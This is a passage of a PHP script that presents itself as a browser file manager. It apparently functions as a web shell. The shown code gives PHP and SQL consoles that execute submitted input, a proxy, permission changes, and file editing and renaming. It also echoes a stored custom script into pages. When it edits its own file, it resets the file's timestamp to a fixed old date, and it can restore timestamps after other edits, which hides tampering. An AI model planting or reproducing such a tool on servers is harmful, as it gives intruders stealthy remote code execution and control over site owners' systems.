		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
